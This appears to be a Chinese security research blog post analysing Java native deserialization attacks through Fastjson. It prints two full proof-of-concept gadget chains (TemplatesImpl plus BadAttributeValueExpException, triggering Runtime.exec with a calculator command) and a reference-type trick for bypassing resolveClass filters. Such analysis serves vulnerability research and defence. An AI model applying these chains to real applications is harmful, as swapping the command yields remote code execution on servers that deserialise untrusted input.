FastJson与原生反序列化 第一版 <1.2.49 在Json类当中的toString方法能触发toJsonString的调用,而这个东西其实我们并不陌生,在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload
触发toString->toJSONString->get方法
image-20230421235341029
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "y4tacker" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
fastjson2 全版本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "y4tacker" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
绕过resolveClass 查看不会调用的情况 跟进java.io.ObjectInputStream#readObject0
,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException ( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ( "unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ( "unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); }
上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
image-20230511210810954
上面这个switch分支的代码,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
所以思路是放两个类进去,并且第二个类必须是TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
中的一个,这里利用引用类型(因为其他类型要么毫无用处,要么用于解决序列化终止相关)
引用类型的利用 当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,
1 2 3 4 ArrayList<Object> arrayList = new ArrayList <>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList);
当我们写入同样的对象时,第二个会变成引用类型
image-20230511211004050